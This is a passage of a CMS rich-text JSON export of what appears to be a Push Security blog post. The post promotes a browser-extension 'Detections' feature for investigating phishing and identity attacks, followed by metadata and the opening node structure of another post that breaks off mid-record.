",{"data":110212,"content":110213,"nodeType":866},{},[110214,110218,110227],{"data":110215,"marks":110216,"value":110217,"nodeType":865},{},[],"But a lot of organizations are still applying the same old playbooks to this new world where identity attacks are the ",{"data":110219,"content":110221,"nodeType":889},{"uri":110220},"https://pushsecurity.com/resources/2024-identity-attacks",[110222],{"data":110223,"marks":110224,"value":110226,"nodeType":865},{},[110225],{"type":943},"leading cause of breaches",{"data":110228,"marks":110229,"value":110230,"nodeType":865},{},[],", with uneven outcomes. ",{"data":110232,"content":110233,"nodeType":866},{},[110234],{"data":110235,"marks":110236,"value":110237,"nodeType":865},{},[],"This isn’t because of a lack of effort or skill on the part of security teams. It’s a reflection of the tools that have been available. ",{"data":110239,"content":110240,"nodeType":866},{},[110241],{"data":110242,"marks":110243,"value":110244,"nodeType":865},{},[],"Let’s look at some of the ways detection and response hasn’t kept up with the evolution of browser-borne threats in this new landscape.",{"data":110246,"content":110247,"nodeType":1317},{},[110248],{"data":110249,"marks":110250,"value":110251,"nodeType":865},{},[],"Incomplete identity visibility ",{"data":110253,"content":110254,"nodeType":866},{},[110255],{"data":110256,"marks":110257,"value":110258,"nodeType":865},{},[],"Today’s cloud identity providers see a fraction of the overall logins your users make to online apps, compared to the comprehensive visibility of Active Directory in the old world. You don’t know where users are logging in, how they’re logging in, or whether these logins are securely using phishing-resistant methods.",{"data":110260,"content":110264,"nodeType":912},{"target":110261},{"sys":110262},{"id":110263,"type":909,"linkType":910},"1SUYueQct7dtWwLh3AaAtA",[],{"data":110266,"content":110267,"nodeType":866},{},[110268],{"data":110269,"marks":110270,"value":110271,"nodeType":865},{},[],"This means that identity attacks are routinely bypassing preventative, account hygiene-based controls, putting the strain on detection and response. ",{"data":110273,"content":110274,"nodeType":1317},{},[110275],{"data":110276,"marks":110277,"value":110278,"nodeType":865},{},[],"Limited detection coverage ",{"data":110280,"content":110281,"nodeType":866},{},[110282],{"data":110283,"marks":110284,"value":110285,"nodeType":865},{},[],"Email and network security tools got pretty good at intercepting old-school phishing attacks like the ones from our proverbial time capsule: static HTML pages delivered over email that could be intercepted and analyzed when entering the mailbox or being loaded by the user. ",{"data":110287,"content":110288,"nodeType":866},{},[110289,110293,110302,110306,110310],{"data":110290,"marks":110291,"value":110292,"nodeType":865},{},[],"But with modern phishing attacks dynamically obfuscating the code that loads the web page, implementing custom bot protection, and using runtime anti-analysis features, they’re ",{"data":110294,"content":110295,"nodeType":889},{"uri":7112},[110296],{"data":110297,"marks":110298,"value":110301,"nodeType":865},{},[110299,110300],{"type":943},{"type":926},"increasingly difficult to detect",{"data":110303,"marks":110304,"value":2688,"nodeType":865},{},[110305],{"type":926},{"data":110307,"marks":110308,"value":110309,"nodeType":865},{},[],"using conventional tools",{"data":110311,"marks":110312,"value":110314,"nodeType":865},{},[110313],{"type":926},".   ",{"data":110316,"content":110317,"nodeType":866},{},[110318],{"data":110319,"marks":110320,"value":110321,"nodeType":865},{},[],"Of course, email-based detections aren’t much use if attackers are using legitimate services to camouflage their links, or bypassing email altogether by switching to alternative delivery channels like messaging apps (such as Slack and Teams), as well as public services like LinkedIn and Reddit. ",{"data":110323,"content":110324,"nodeType":866},{},[110325,110329,110336],{"data":110326,"marks":110327,"value":110328,"nodeType":865},{},[],"More recently, groups like ",{"data":110330,"content":110331,"nodeType":889},{"uri":54299},[110332],{"data":110333,"marks":110334,"value":4996,"nodeType":865},{},[110335],{"type":943},{"data":110337,"marks":110338,"value":110339,"nodeType":865},{},[]," have even been seen using malvertising techniques, delivering phishing links masquerading as paid Google ads.",{"data":110341,"content":110342,"nodeType":1317},{},[110343],{"data":110344,"marks":110345,"value":110346,"nodeType":865},{},[],"Inadequate security logs",{"data":110348,"content":110349,"nodeType":866},{},[110350],{"data":110351,"marks":110352,"value":110353,"nodeType":865},{},[],"If you fail to spot the attack pre-account takeover, you’re reliant on being able to detect and investigate suspicious or malicious activity resulting from the compromise. ",{"data":110355,"content":110356,"nodeType":866},{},[110357,110361,110370],{"data":110358,"marks":110359,"value":110360,"nodeType":865},{},[],"This was more straightforward (if not easy) when you had the luxury of a ",{"data":110362,"content":110364,"nodeType":889},{"uri":110363},"https://pushsecurity.com/blog/shifting-detection-left-for-more-effective-itdr/",[110365],{"data":110366,"marks":110367,"value":110369,"nodeType":865},{},[110368],{"type":943},"typical on-prem network to fall back",{"data":110371,"marks":110372,"value":110373,"nodeType":865},{},[]," on. But with cloud exploitation taking place in a matter of minutes, you don’t get much warning — and your endpoint and network-based alarms can’t help you. ",{"data":110375,"content":110376,"nodeType":866},{},[110377,110381,110390],{"data":110378,"marks":110379,"value":110380,"nodeType":865},{},[],"The situation is further complicated by the fact that you simply don’t have the logs you need because of the huge variability in how cloud and SaaS services provide logs (with many ",{"data":110382,"content":110384,"nodeType":889},{"uri":110383},"https://pushsecurity.com/blog/minimum-viable-identity-security/#id-enable-security-teams-to-detect-and-respond-to-identity-attacks",[110385],{"data":110386,"marks":110387,"value":110389,"nodeType":865},{},[110388],{"type":943},"failing to provide security logs",{"data":110391,"marks":110392,"value":110393,"nodeType":865},{},[]," with relevant data points at all). So chances are you’re flying blind when it comes to large chunks of your business app suite. ",{"data":110395,"content":110396,"nodeType":866},{},[110397,110401,110410],{"data":110398,"marks":110399,"value":110400,"nodeType":865},{},[],"Ultimately, you’re stuck with what you can observe — typically network traffic. But ",{"data":110402,"content":110404,"nodeType":889},{"uri":110403},"https://pushsecurity.com/blog/the-web-proxy-is-dead-long-live-the-browser-extension/",[110405],{"data":110406,"marks":110407,"value":110409,"nodeType":865},{},[110408],{"type":943},"even with a TLS-terminating proxy",{"data":110411,"marks":110412,"value":110413,"nodeType":865},{},[],", extracting fine-grained identity data points isn’t really achievable. You’re looking from the outside-in at malicious activity that’s happening in the user’s browser and trying to infer what happened.  ",{"data":110415,"content":110419,"nodeType":912},{"target":110416},{"sys":110417},{"id":110418,"type":909,"linkType":910},"7FMdHtbE63GMCavObETf3O",[],{"data":110421,"content":110422,"nodeType":1317},{},[110423],{"data":110424,"marks":110425,"value":110426,"nodeType":865},{},[],"Spotty control enforcement",{"data":110428,"content":110429,"nodeType":866},{},[110430,110434,110439],{"data":110431,"marks":110432,"value":110433,"nodeType":865},{},[],"And in the case that you do identify that a user clicked a malicious link and ",{"data":110435,"marks":110436,"value":110438,"nodeType":865},{},[110437],{"type":898},"maybe ",{"data":110440,"marks":110441,"value":110442,"nodeType":865},{},[],"entered their credentials into the page — now what? ",{"data":110444,"content":110445,"nodeType":866},{},[110446],{"data":110447,"marks":110448,"value":110449,"nodeType":865},{},[],"You can reset the account in the affected app, ideally terminating active sessions — which may or may not be possible, depending on the app. This might take a while if you don’t centrally manage the app, and involve some painful emergency phone calls to employees. ",{"data":110451,"content":110452,"nodeType":866},{},[110453],{"data":110454,"marks":110455,"value":110456,"nodeType":865},{},[],"What about apps where the same password is reused? ",{"data":110458,"content":110459,"nodeType":866},{},[110460],{"data":110461,"marks":110462,"value":110463,"nodeType":865},{},[],"Or if it’s an IdP account used for SSO, what about the other apps that might be accessible now? ",{"data":110465,"content":110466,"nodeType":866},{},[110467,110471,110479],{"data":110468,"marks":110469,"value":110470,"nodeType":865},{},[],"If the attacker has created stealthy backdoors that persist through credential changes (like ",{"data":110472,"content":110473,"nodeType":889},{"uri":53259},[110474],{"data":110475,"marks":110476,"value":110478,"nodeType":865},{},[110477],{"type":943},"creating an API key or a malicious OAuth integration",{"data":110480,"marks":110481,"value":110482,"nodeType":865},{},[],") they could still be lurking in your environment.",{"data":110484,"content":110485,"nodeType":866},{},[110486],{"data":110487,"marks":110488,"value":110490,"nodeType":865},{},[110489],{"type":926},"Suddenly, you’re not dealing with one possible control point, you’re dealing with several. ",{"data":110492,"content":110493,"nodeType":866},{},[110494],{"data":110495,"marks":110496,"value":110497,"nodeType":865},{},[],"And if you can’t trace the attack back to a source — because your email solution missed it, or it didn’t come via email, how can you triage the impact to other users? ",{"data":110499,"content":110500,"nodeType":866},{},[110501],{"data":110502,"marks":110503,"value":110504,"nodeType":865},{},[],"It’s no wonder that security teams are struggling to adapt. ",{"data":110506,"content":110507,"nodeType":972},{},[],{"data":110509,"content":110510,"nodeType":981},{},[110511],{"data":110512,"marks":110513,"value":110515,"nodeType":865},{},[110514],{"type":926},"How Push is solving modern identity investigations in the browser",{"data":110517,"content":110518,"nodeType":866},{},[110519],{"data":110520,"marks":110521,"value":110522,"nodeType":865},{},[],"The good news? We’ve seen this phenomenon play out before: In the early 2010s, in fact, when AV evolved into EDR. What was the big innovation then? Getting inside the data stream, in real time, and detecting and responding from a much higher-fidelity source of telemetry.",{"data":110524,"content":110525,"nodeType":866},{},[110526],{"data":110527,"marks":110528,"value":110529,"nodeType":865},{},[],"This time around, security teams need tools that take them inside the browser layer.",{"data":110531,"content":110532,"nodeType":866},{},[110533],{"data":110534,"marks":110535,"value":110536,"nodeType":865},{},[],"This approach gives you the right vantage point to defend against and investigate browser-based identity attacks, providing access to:",{"data":110538,"content":110539,"nodeType":1616},{},[110540,110550,110560,110570],{"data":110541,"content":110542,"nodeType":1570},{},[110543],{"data":110544,"content":110545,"nodeType":866},{},[110546],{"data":110547,"marks":110548,"value":110549,"nodeType":865},{},[],"Full decrypted HTTP traffic — not just DNS and TCP/IP metadata",{"data":110551,"content":110552,"nodeType":1570},{},[110553],{"data":110554,"content":110555,"nodeType":866},{},[110556],{"data":110557,"marks":110558,"value":110559,"nodeType":865},{},[],"Full user interaction tracing — every click, keystroke, or DOM change",{"data":110561,"content":110562,"nodeType":1570},{},[110563],{"data":110564,"content":110565,"nodeType":866},{},[110566],{"data":110567,"marks":110568,"value":110569,"nodeType":865},{},[],"Full inspection at every layer of execution, not just the initial HTML served",{"data":110571,"content":110572,"nodeType":1570},{},[110573],{"data":110574,"content":110575,"nodeType":866},{},[110576],{"data":110577,"marks":110578,"value":110579,"nodeType":865},{},[],"Full access to browser APIs, to correlate with browser history, local storage, cookies, etc.",{"data":110581,"content":110585,"nodeType":912},{"target":110582},{"sys":110583},{"id":110584,"type":909,"linkType":910},"5qt0s8e1TIEUxhU1GzFO63",[],{"data":110587,"content":110588,"nodeType":866},{},[110589],{"data":110590,"marks":110591,"value":110592,"nodeType":865},{},[],"With this data, teams have the information they need to respond to and investigate browser-based attacks. But to become valuable, this data needs a translation layer that turns it from raw logs into actionable information.",{"data":110594,"content":110595,"nodeType":866},{},[110596,110600,110604],{"data":110597,"marks":110598,"value":110599,"nodeType":865},{},[],"That’s where Push’s ",{"data":110601,"marks":110602,"value":110137,"nodeType":865},{},[110603],{"type":926},{"data":110605,"marks":110606,"value":110607,"nodeType":865},{},[]," capability comes in. With it, you can:",{"data":110609,"content":110610,"nodeType":1616},{},[110611,110647,110657,110667,110677,110687],{"data":110612,"content":110613,"nodeType":1570},{},[110614],{"data":110615,"content":110616,"nodeType":866},{},[110617,110621,110630,110634,110643],{"data":110618,"marks":110619,"value":110620,"nodeType":865},{},[],"Get alerted in your platform of choice (via the Push admin console, ",{"data":110622,"content":110624,"nodeType":889},{"uri":110623},"https://pushsecurity.com/help/audience/administrators/docs/connect-to-siem-or-soar/send-webhook-events-to-slack/",[110625],{"data":110626,"marks":110627,"value":110629,"nodeType":865},{},[110628],{"type":943},"Slack integration",{"data":110631,"marks":110632,"value":110633,"nodeType":865},{},[],", or your ",{"data":110635,"content":110637,"nodeType":889},{"uri":110636},"https://pushsecurity.com/help/audience/administrators/docs/connect-to-siem-or-soar/",[110638],{"data":110639,"marks":110640,"value":110642,"nodeType":865},{},[110641],{"type":943},"SIEM/SOAR",{"data":110644,"marks":110645,"value":110646,"nodeType":865},{},[]," of choice) whenever Push detects a browser-based attack, such as AiTM phishing or a cloned login page.",{"data":110648,"content":110649,"nodeType":1570},{},[110650],{"data":110651,"content":110652,"nodeType":866},{},[110653],{"data":110654,"marks":110655,"value":110656,"nodeType":865},{},[],"Review a curated timeline of the incident: Where a phishing link originated; whether a user entered their credentials on the page; what kind of phishkit was used; and whether the attack was blocked by Push.",{"data":110658,"content":110659,"nodeType":1570},{},[110660],{"data":110661,"content":110662,"nodeType":866},{},[110663],{"data":110664,"marks":110665,"value":110666,"nodeType":865},{},[],"See all the other impacted accounts and apps that shared a password with the phished account so you can remediate them.",{"data":110668,"content":110669,"nodeType":1570},{},[110670],{"data":110671,"content":110672,"nodeType":866},{},[110673],{"data":110674,"marks":110675,"value":110676,"nodeType":865},{},[],"See a screenshot captured by the Push browser extension of the phishing page, so you can see exactly what the user saw before the page disappears.",{"data":110678,"content":110679,"nodeType":1570},{},[110680],{"data":110681,"content":110682,"nodeType":866},{},[110683],{"data":110684,"marks":110685,"value":110686,"nodeType":865},{},[],"Get additional context from urlscan.io about the domains connected to the incident, helping you understand whether a domain has been reported as malicious by other users, when it was registered, and how many times it’s been scanned.",{"data":110688,"content":110689,"nodeType":1570},{},[110690],{"data":110691,"content":110692,"nodeType":866},{},[110693],{"data":110694,"marks":110695,"value":110696,"nodeType":865},{},[],"Interrogate and send this telemetry to your SIEM for you to operationalize it as part of SecOps workflows and hunt across events for similar incident characteristics.",{"data":110698,"content":110702,"nodeType":912},{"target":110699},{"sys":110700},{"id":110701,"type":909,"linkType":910},"5iPYWpPx4IZ2M1DykQiWsN",[],{"data":110704,"content":110705,"nodeType":1317},{},[110706],{"data":110707,"marks":110708,"value":110709,"nodeType":865},{},[],"Browser context",{"data":110711,"content":110712,"nodeType":866},{},[110713],{"data":110714,"marks":110715,"value":110716,"nodeType":865},{},[],"With Push, there’s no more: ",{"data":110718,"content":110719,"nodeType":1616},{},[110720,110730,110740,110750,110760,110770],{"data":110721,"content":110722,"nodeType":1570},{},[110723],{"data":110724,"content":110725,"nodeType":866},{},[110726],{"data":110727,"marks":110728,"value":110729,"nodeType":865},{},[],"Waiting (and hoping) that a browser-based attack gets recognized and reported by a user.",{"data":110731,"content":110732,"nodeType":1570},{},[110733],{"data":110734,"content":110735,"nodeType":866},{},[110736],{"data":110737,"marks":110738,"value":110739,"nodeType":865},{},[],"Guesswork as to exactly what happened on the phishing page. ",{"data":110741,"content":110742,"nodeType":1570},{},[110743],{"data":110744,"content":110745,"nodeType":866},{},[110746],{"data":110747,"marks":110748,"value":110749,"nodeType":865},{},[],"Struggling to get your hands on a live version of the page to see if it was actually malicious and getting thwarted because the attacker used a one-time phishing link. ",{"data":110751,"content":110752,"nodeType":1570},{},[110753],{"data":110754,"content":110755,"nodeType":866},{},[110756],{"data":110757,"marks":110758,"value":110759,"nodeType":865},{},[],"Manually tracing the attack to see if it arrived by email so you can quarantine the messages. ",{"data":110761,"content":110762,"nodeType":1570},{},[110763],{"data":110764,"content":110765,"nodeType":866},{},[110766],{"data":110767,"marks":110768,"value":110769,"nodeType":865},{},[],"Trawling through voluminous proxy logs for scraps of information (who else visited the link; where did it originate; etc.).",{"data":110771,"content":110772,"nodeType":1570},{},[110773],{"data":110774,"content":110775,"nodeType":866},{},[110776],{"data":110777,"marks":110778,"value":110779,"nodeType":865},{},[],"Spending precious time on urlscan or VirusTotal to get basic context on a domain or IP address. ",{"data":110781,"content":110782,"nodeType":866},{},[110783],{"data":110784,"marks":110785,"value":110786,"nodeType":865},{},[],"Instead, Push gives you all the information you need in one place to investigate and respond. ",{"data":110788,"content":110789,"nodeType":866},{},[110790],{"data":110791,"marks":110792,"value":110793,"nodeType":865},{},[],"The foundation for these detections is the Push browser agent, which can be silently installed in all major browsers in your environment to begin streaming information about a user’s entire identity footprint. ",{"data":110795,"content":110796,"nodeType":866},{},[110797],{"data":110798,"marks":110799,"value":110800,"nodeType":865},{},[],"This valuable telemetry, combined with Push’s out-of-the-box controls and detections, gives you a seat on the user’s side of the equation, capturing reliable information about network requests, scripts loaded by a malicious website, and what a user clicked and navigated to: the ingredients for showing you how a browser-based attack unfolded, start to finish.",{"data":110802,"content":110806,"nodeType":912},{"target":110803},{"sys":110804},{"id":110805,"type":909,"linkType":910},"7ylgcaNDrxYhw7bULixM1C",[],{"data":110808,"content":110809,"nodeType":866},{},[110810],{"data":110811,"marks":110812,"value":110813,"nodeType":865},{},[],"Push raises a detection when it observes a phishing attack or when a user attempts to visit a blocked URL. You can view detections in the Push admin console, or send them to your SIEM or SOAR for correlation and analysis.",{"data":110815,"content":110816,"nodeType":1317},{},[110817],{"data":110818,"marks":110819,"value":110820,"nodeType":865},{},[],"Screenshot capture",{"data":110822,"content":110823,"nodeType":866},{},[110824],{"data":110825,"marks":110826,"value":110827,"nodeType":865},{},[],"The Push extension can also capture a screenshot at the time of a detection firing. This means security teams can see the visual characteristics of the page even if it’s since been taken down (and no more looking at bot protection screens like Cloudflare Turnstile on urlscan). ",{"data":110829,"content":110833,"nodeType":912},{"target":110830},{"sys":110831},{"id":110832,"type":909,"linkType":910},"58HPrc7wImm3mLxPK0yJOG",[],{"data":110835,"content":110836,"nodeType":1317},{},[110837],{"data":110838,"marks":110839,"value":110840,"nodeType":865},{},[],"Blast radius analysis for all impacted accounts & apps",{"data":110842,"content":110843,"nodeType":866},{},[110844],{"data":110845,"marks":110846,"value":110847,"nodeType":865},{},[],"With Push’s knowledge of your workforce identities — based on observing logins in the browser that use corporate credentials — the platform can also provide an analysis of the blast radius of an attack by showing you where other accounts and apps are impacted or at risk.",{"data":110849,"content":110850,"nodeType":866},{},[110851],{"data":110852,"marks":110853,"value":110854,"nodeType":865},{},[],"This information helps you understand the true impact of an incident so you can remediate all affected accounts.",{"data":110856,"content":110860,"nodeType":912},{"target":110857},{"sys":110858},{"id":110859,"type":909,"linkType":910},"77e8XMl2Rb0p7ZrG2wmURO",[],{"data":110862,"content":110863,"nodeType":866},{},[110864,110868,110877],{"data":110865,"marks":110866,"value":110867,"nodeType":865},{},[],"Push is able to provide this blast radius analysis by ",{"data":110869,"content":110871,"nodeType":889},{"uri":110870},"https://pushsecurity.com/help/10043/#how-push-securely-analyzes-passwords",[110872],{"data":110873,"marks":110874,"value":110876,"nodeType":865},{},[110875],{"type":943},"securely fingerprinting users’ passwords",{"data":110878,"marks":110879,"value":110880,"nodeType":865},{},[]," when a login is observed; analyzing them for security posture issues such as missing MFA, or stolen, weak, or reused passwords; and then raising that relevant context for a given detection.",{"data":110882,"content":110883,"nodeType":1317},{},[110884],{"data":110885,"marks":110886,"value":110887,"nodeType":865},{},[],"Correlated context from urlscan.io",{"data":110889,"content":110890,"nodeType":866},{},[110891],{"data":110892,"marks":110893,"value":110894,"nodeType":865},{},[],"Finally, through an integration with urlscan.io, Push is able to provide additional context about the domains involved in a detection event, including:",{"data":110896,"content":110897,"nodeType":1616},{},[110898,110908,110918,110928],{"data":110899,"content":110900,"nodeType":1570},{},[110901],{"data":110902,"content":110903,"nodeType":866},{},[110904],{"data":110905,"marks":110906,"value":110907,"nodeType":865},{},[],"When they were created",{"data":110909,"content":110910,"nodeType":1570},{},[110911],{"data":110912,"content":110913,"nodeType":866},{},[110914],{"data":110915,"marks":110916,"value":110917,"nodeType":865},{},[],"How many times they have previously been scanned",{"data":110919,"content":110920,"nodeType":1570},{},[110921],{"data":110922,"content":110923,"nodeType":866},{},[110924],{"data":110925,"marks":110926,"value":110927,"nodeType":865},{},[],"When they were last scanned",{"data":110929,"content":110930,"nodeType":1570},{},[110931],{"data":110932,"content":110933,"nodeType":866},{},[110934],{"data":110935,"marks":110936,"value":110937,"nodeType":865},{},[],"If urlscan has marked them as suspicious",{"data":110939,"content":110943,"nodeType":912},{"target":110940},{"sys":110941},{"id":110942,"type":909,"linkType":910},"2AKpAk65XdmaGBfe2V4qZ5",[],{"data":110945,"content":110946,"nodeType":972},{},[],{"data":110948,"content":110949,"nodeType":981},{},[110950],{"data":110951,"marks":110952,"value":110954,"nodeType":865},{},[110953],{"type":926},"Check out our latest webinar for practical guidance in real-world scenarios",{"data":110956,"content":110957,"nodeType":866},{},[110958,110962,110971,110974],{"data":110959,"marks":110960,"value":110961,"nodeType":865},{},[],"For practical advice and applied examples of how to use Push data in incident response — as well as some bonus examples of automated response and remediation use cases — ",{"data":110963,"content":110965,"nodeType":889},{"uri":110964},"https://pushsecurity.com/webinar/identity-detection-response",[110966],{"data":110967,"marks":110968,"value":110970,"nodeType":865},{},[110969],{"type":943},"join us live on August 13 for our webinar",{"data":110972,"marks":110973,"value":2717,"nodeType":865},{},[],{"data":110975,"marks":110976,"value":110978,"nodeType":865},{},[110977],{"type":926},"“Identity attacks have changed — have your IR playbooks?”",{"data":110980,"content":110981,"nodeType":972},{},[],{"data":110983,"content":110984,"nodeType":981},{},[110985],{"data":110986,"marks":110987,"value":2270,"nodeType":865},{},[110988],{"type":926},{"data":110990,"content":110991,"nodeType":866},{},[110992],{"data":110993,"marks":110994,"value":106196,"nodeType":865},{},[],{"data":110996,"content":110997,"nodeType":866},{},[110998],{"data":110999,"marks":111000,"value":106203,"nodeType":865},{},[],{"data":111002,"content":111003,"nodeType":866},{},[111004,111007,111014],{"data":111005,"marks":111006,"value":104093,"nodeType":865},{},[],{"data":111008,"content":111009,"nodeType":889},{"uri":16069},[111010],{"data":111011,"marks":111012,"value":106217,"nodeType":865},{},[111013],{"type":943},{"data":111015,"marks":111016,"value":21,"nodeType":865},{},[],"We’re launching a new Detections capability, enabling security teams to more effectively investigate and triage alerts, and build more effective workflows. ","2025-07-29T00:00:00.000Z",{"items":111020},[111021,111023],{"sys":111022,"name":342},{"id":4642},{"sys":111024,"name":7796},{"id":7795},{"items":111026},[111027],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":111028},{"url":6503},"blog/how-push-stopped-a-high-risk-linkedin-spear-phishing-attack",{"json":111031},{"data":111032,"content":111033,"nodeType":1382},{},[111034],{"data":111035,"content":111036,"nodeType":866},{},[111037],{"data":111038,"marks":111039,"value":101344,"nodeType":865},{},[],{"id":79682,"publishedAt":111041},"2026-08-12T11:53:49.235Z",{"items":111043},[111044,111046],{"sys":111045,"name":342},{"id":4642},{"sys":111047,"name":7796},{"id":7795},{"items":111049},[111050,111052,111054,111056,111058,111060,111062,111064,111066,111068,111070,111072,111074,111076],{"sys":111051,"name":279,"slug":280,"tier":31},{"id":276},{"sys":111053,"name":413,"slug":414,"tier":31},{"id":410},{"sys":111055,"name":519,"slug":520,"tier":31},{"id":516},{"sys":111057,"name":342,"slug":343,"tier":31},{"id":339},{"sys":111059,"name":261,"slug":262,"tier":45},{"id":258},{"sys":111061,"name":475,"slug":476,"tier":45},{"id":472},{"sys":111063,"name":324,"slug":325,"tier":45},{"id":321},{"sys":111065,"name":571,"slug":572,"tier":45},{"id":568},{"sys":111067,"name":466,"slug":467,"tier":45},{"id":463},{"sys":111069,"name":607,"slug":608,"tier":45},{"id":604},{"sys":111071,"name":431,"slug":432,"tier":45},{"id":428},{"sys":111073,"name":511,"slug":512,"tier":45},{"id":508},{"sys":111075,"name":351,"slug":352,"tier":45},{"id":348},{"sys":111077,"name":395,"slug":396,"tier":45},{"id":392},"RVg3tlPhCgiNrLgA2t9ScoT0T415wAVVbg_r3WaNYuc",{"id":111080,"title":103041,"authorsCollection":111081,"content":111086,"extension":228,"faqItemsCollection":111687,"faqTitle":59,"featured":6,"hashTags":59,"meta":111689,"metaTitle":111690,"ogImage":111691,"postType":1424,"publishedDate":103043,"relatedBlogPostsCollection":111693,"slug":103044,"stem":113862,"subtitle":59,"summary":113863,"synopsis":103042,"sys":113874,"tagsCollection":113876,"topicsCollection":113882,"__hash__":113930},"blog/blog/6-browser-based-attacks-every-security-team-should-be-prepared-for.json",{"items":111082},[111083],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":111084,"profilePicture":111085},[30152],{"url":7804},{"json":111087,"links":111639},{"data":111088,"content":111089,"nodeType":1382},{},[111090,111103,111109,111112,111119,111125,111131,111147,111152,111158,111164,111170,111176,111179,111186,111192,111197,111203,111210,111216,111222,111227,111243,111248,111254,111260,111266,111271,111274,111281,111297,111303,111329,111335,111341,111346,111352,111358,111364,111367,111374,111389,111394,111400,111406,111411,111417,111423,111426,111433,111439,111455,111491,111497,111503,111509,111512,111519,111525,111531,111537,111540,111547,111553,111579,111595,111601,111604,111611,111617,111623],{"data":111091,"content":111092,"nodeType":866},{},[111093,111096,111100],{"data":111094,"marks":111095,"value":102409,"nodeType":865},{},[],{"data":111097,"marks":111098,"value":102414,"nodeType":865},{},[111099],{"type":898},{"data":111101,"marks":111102,"value":102418,"nodeType":865},{},[],{"data":111104,"content":111105,"nodeType":866},{},[111106],{"data":111107,"marks":111108,"value":102425,"nodeType":865},{},[],{"data":111110,"content":111111,"nodeType":972},{},[],{"data":111113,"content":111114,"nodeType":981},{},[111115],{"data":111116,"marks":111117,"value":102436,"nodeType":865},{},[111118],{"type":926},{"data":111120,"content":111121,"nodeType":866},{},[111122],{"data":111123,"marks":111124,"value":102443,"nodeType":865},{},[],{"data":111126,"content":111127,"nodeType":866},{},[111128],{"data":111129,"marks":111130,"value":102450,"nodeType":865},{},[],{"data":111132,"content":111133,"nodeType":866},{},[111134,111137,111144],{"data":111135,"marks":111136,"value":102457,"nodeType":865},{},[],{"data":111138,"content":111139,"nodeType":889},{"uri":102460},[111140],{"data":111141,"marks":111142,"value":13698,"nodeType":865},{},[111143],{"type":943},{"data":111145,"marks":111146,"value":102469,"nodeType":865},{},[],{"data":111148,"content":111151,"nodeType":912},{"target":111149},{"sys":111150},{"id":102474,"type":909,"linkType":910},[],{"data":111153,"content":111154,"nodeType":866},{},[111155],{"data":111156,"marks":111157,"value":102482,"nodeType":865},{},[],{"data":111159,"content":111160,"nodeType":866},{},[111161],{"data":111162,"marks":111163,"value":102489,"nodeType":865},{},[],{"data":111165,"content":111166,"nodeType":866},{},[111167],{"data":111168,"marks":111169,"value":102496,"nodeType":865},{},[],{"data":111171,"content":111172,"nodeType":866},{},[111173],{"data":111174,"marks":111175,"value":102503,"nodeType":865},{},[],{"data":111177,"content":111178,"nodeType":972},{},[],{"data":111180,"content":111181,"nodeType":981},{},[111182],{"data":111183,"marks":111184,"value":102514,"nodeType":865},{},[111185],{"type":926},{"data":111187,"content":111188,"nodeType":866},{},[111189],{"data":111190,"marks":111191,"value":102521,"nodeType":865},{},[],{"data":111193,"content":111196,"nodeType":912},{"target":111194},{"sys":111195},{"id":102526,"type":909,"linkType":910},[],{"data":111198,"content":111199,"nodeType":866},{},[111200],{"data":111201,"marks":111202,"value":102534,"nodeType":865},{},[],{"data":111204,"content":111205,"nodeType":1317},{},[111206],{"data":111207,"marks":111208,"value":102542,"nodeType":865},{},[111209],{"type":926},{"data":111211,"content":111212,"nodeType":866},{},[111213],{"data":111214,"marks":111215,"value":102549,"nodeType":865},{},[],{"data":111217,"content":111218,"nodeType":866},{},[111219],{"data":111220,"marks":111221,"value":102556,"nodeType":865},{},[],{"data":111223,"content":111226,"nodeType":912},{"target":111224},{"sys":111225},{"id":102561,"type":909,"linkType":910},[],{"data":111228,"content":111229,"nodeType":866},{},[111230,111233,111240],{"data":111231,"marks":111232,"value":102569,"nodeType":865},{},[],{"data":111234,"content":111235,"nodeType":889},{"uri":102572},[111236],{"data":111237,"marks":111238,"value":83858,"nodeType":865},{},[111239],{"type":943},{"data":111241,"marks":111242,"value":40358,"nodeType":865},{},[],{"data":111244,"content":111247,"nodeType":912},{"target":111245},{"sys":111246},{"id":102585,"type":909,"linkType":910},[],{"data":111249,"content":111250,"nodeType":866},{},[111251],{"data":111252,"marks":111253,"value":102593,"nodeType":865},{},[],{"data":111255,"content":111256,"nodeType":866},{},[111257],{"data":111258,"marks":111259,"value":102600,"nodeType":865},{},[],{"data":111261,"content":111262,"nodeType":866},{},[111263],{"data":111264,"marks":111265,"value":102607,"nodeType":865},{},[],{"data":111267,"content":111270,"nodeType":912},{"target":111268},{"sys":111269},{"id":102612,"type":909,"linkType":910},[],{"data":111272,"content":111273,"nodeType":972},{},[],{"data":111275,"content":111276,"nodeType":1317},{},[111277],{"data":111278,"marks":111279,"value":102624,"nodeType":865},{},[111280],{"type":926},{"data":111282,"content":111283,"nodeType":866},{},[111284,111287,111294],{"data":111285,"marks":111286,"value":102631,"nodeType":865},{},[],{"data":111288,"content":111289,"nodeType":889},{"uri":102634},[111290],{"data":111291,"marks":111292,"value":315,"nodeType":865},{},[111293],{"type":943},{"data":111295,"marks":111296,"value":14251,"nodeType":865},{},[],{"data":111298,"content":111299,"nodeType":866},{},[111300],{"data":111301,"marks":111302,"value":102649,"nodeType":865},{},[],{"data":111304,"content":111305,"nodeType":866},{},[111306,111309,111316,111319,111326],{"data":111307,"marks":111308,"value":102656,"nodeType":865},{},[],{"data":111310,"content":111311,"nodeType":889},{"uri":102659},[111312],{"data":111313,"marks":111314,"value":102665,"nodeType":865},{},[111315],{"type":943},{"data":111317,"marks":111318,"value":102669,"nodeType":865},{},[],{"data":111320,"content":111321,"nodeType":889},{"uri":102672},[111322],{"data":111323,"marks":111324,"value":102678,"nodeType":865},{},[111325],{"type":943},{"data":111327,"marks":111328,"value":1615,"nodeType":865},{},[],{"data":111330,"content":111331,"nodeType":866},{},[111332],{"data":111333,"marks":111334,"value":102688,"nodeType":865},{},[],{"data":111336,"content":111337,"nodeType":866},{},[111338],{"data":111339,"marks":111340,"value":102695,"nodeType":865},{},[],{"data":111342,"content":111345,"nodeType":912},{"target":111343},{"sys":111344},{"id":102700,"type":909,"linkType":910},[],{"data":111347,"content":111348,"nodeType":866},{},[111349],{"data":111350,"marks":111351,"value":102708,"nodeType":865},{},[],{"data":111353,"content":111354,"nodeType":866},{},[111355],{"data":111356,"marks":111357,"value":102715,"nodeType":865},{},[],{"data":111359,"content":111360,"nodeType":866},{},[111361],{"data":111362,"marks":111363,"value":102722,"nodeType":865},{},[],{"data":111365,"content":111366,"nodeType":972},{},[],{"data":111368,"content":111369,"nodeType":1317},{},[111370],{"data":111371,"mark